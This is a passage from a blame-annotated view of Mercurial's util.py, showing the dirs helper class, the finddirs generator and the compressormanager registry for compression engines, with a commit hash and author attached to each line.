21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3169 addpath = self.addpath
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3170 if safehasattr(map, 'iteritems') and skip is not None:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3171 for f, s in map.iteritems():
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3172 if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3173 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3174 else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3175 for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3176 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3177
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3178 def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3179 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3180 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3181 if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3182 dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3183 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3184 dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3185
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3186 def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3187 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3188 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3189 if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3190 dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3191 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3192 del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3193
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3194 def __iter__(self):
31430
807387581d89 py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents: 31404
diff changeset
3195 return iter(self._dirs)
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3196
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3197 def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3198 return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3199
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3200 if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3201 dirs = parsers.dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3202
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3203 def finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3204 pos = path.rfind('/')
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3205 while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3206 yield path[:pos]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3207 pos = path.rfind('/', 0, pos)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3208
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3209 # compression code
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3210
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3211 SERVERROLE = 'server'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3212 CLIENTROLE = 'client'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3213
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3214 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3215 (u'name', u'serverpriority',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3216 u'clientpriority'))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3217
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3218 class compressormanager(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3219 """Holds registrations of various compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3220
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3221 This class essentially abstracts the differences between compression
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3222 engines to allow new compression formats to be added easily, possibly from
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3223 extensions.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3224
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3225 Compressors are registered against the global instance by calling its
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3226 ``register()`` method.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3227 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3228 def __init__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3229 self._engines = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3230 # Bundle spec human name to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3231 self._bundlenames = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3232 # Internal bundle identifier to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3233 self._bundletypes = {}
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3234 # Revlog header to engine name.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3235 self._revlogheaders = {}
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3236 # Wire proto identifier to engine name.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3237 self._wiretypes = {}
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3238
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3239 def __getitem__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3240 return self._engines[key]
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3241
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3242 def __contains__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3243 return key in self._engines
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3244
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3245 def __iter__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3246 return iter(self._engines.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3247
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3248 def register(self, engine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3249 """Register a compression engine with the manager.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3250
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3251 The argument must be a ``compressionengine`` instance.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3252 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3253 if not isinstance(engine, compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3254 raise ValueError(_('argument must be a compressionengine'))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3255
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3256 name = engine.name()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3257
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3258 if name in self._engines:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3259 raise error.Abort(_('compression engine %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3260 name)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3261
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3262 bundleinfo = engine.bundletype()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3263 if bundleinfo:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3264 bundlename, bundletype = bundleinfo
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3265
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3266 if bundlename in self._bundlenames:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3267 raise error.Abort(_('bundle name %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3268 bundlename)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3269 if bundletype in self._bundletypes:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3270 raise error.Abort(_('bundle type %s already registered by %s') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3271 (bundletype, self._bundletypes[bundletype]))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3272
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3273 # No external facing name declared.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3274 if bundlename:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3275 self._bundlenames[bundlename] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3276
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3277 self._bundletypes[bundletype] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3278
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3279 wiresupport = engine.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3280 if wiresupport:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3281 wiretype = wiresupport.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3282 if wiretype in self._wiretypes:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3283 raise error.Abort(_('wire protocol compression %s already '
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3284 'registered by %s') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3285 (wiretype, self._wiretypes[wiretype]))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3286
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3287 self._wiretypes[wiretype] = name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3288
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3289 revlogheader = engine.revlogheader()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3290 if revlogheader and revlogheader in self._revlogheaders:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3291 raise error.Abort(_('revlog header %s already registered by %s') %
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3292 (revlogheader, self._revlogheaders[revlogheader]))
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3293
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3294 if revlogheader:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3295 self._revlogheaders[revlogheader] = name
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3296
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3297 self._engines[name] = engine
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3298
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3299 @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3300 def supportedbundlenames(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3301 return set(self._bundlenames.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3302
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3303 @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3304 def supportedbundletypes(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3305 return set(self._bundletypes.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3306
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3307 def forbundlename(self, bundlename):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3308 """Obtain a compression engine registered to a bundle name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3309
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3310 Will raise KeyError if the bundle type isn't registered.
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3311
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3312 Will abort if the engine is known but not available.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3313 """
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3314 engine = self._engines[self._bundlenames[bundlename]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3315 if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3316 raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3317 engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3318 return engine
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3319
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3320 def forbundletype(self, bundletype):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3321 """Obtain a compression engine registered to a bundle type.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3322
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3323 Will raise KeyError if the bundle type isn't registered.
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3324
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3325 Will abort if the engine is known but not available.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3326 """
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3327 engine = self._engines[self._bundletypes[bundletype]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3328 if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3329 raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3330 engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
3331 return engine
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3332
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3333 def supportedwireengines(self, role, onlyavailable=True):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3334 """Obtain compression engines that support the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3335
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3336 Returns a list of engines in prioritized order, most desired first.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3337
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3338 If ``onlyavailable`` is set, filter out engines that can't be
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3339 loaded.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3340 """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3341 assert role in (SERVERROLE, CLIENTROLE)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3342
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3343 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3344
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3345 engines = [self._engines[e] for e in self._wiretypes.values()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3346 if onlyavailable:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3347 engines = [e for e in engines if e.available()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3348
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3349 def getkey(e):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3350 # Sort first by priority, highest first. In case of tie, sort
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3351 # alphabetically. This is arbitrary, but ensures output is
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3352 # stable.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3353 w = e.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3354 return -1 * getattr(w, attr), w.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3355
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3356 return list(sorted(engines, key=getkey))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3357
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3358 def forwiretype(self, wiretype):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3359 engine = self._engines[self._wiretypes[wiretype]]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3360 if not engine.available():
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3361 raise error.Abort(_('compression engine %s could not be loaded') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3362 engine.name())
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3363 return engine
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3364
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3365 def forrevlogheader(self, header):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3366 """Obtain a compression engine registered to a revlog header.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3367
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3368 Will raise KeyError if the revlog header value isn't registered.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3369 """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3370 return self._engines[self._revlogheaders[header]]
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3371
30350
358cda0af6ee util: create new abstraction for compression engines
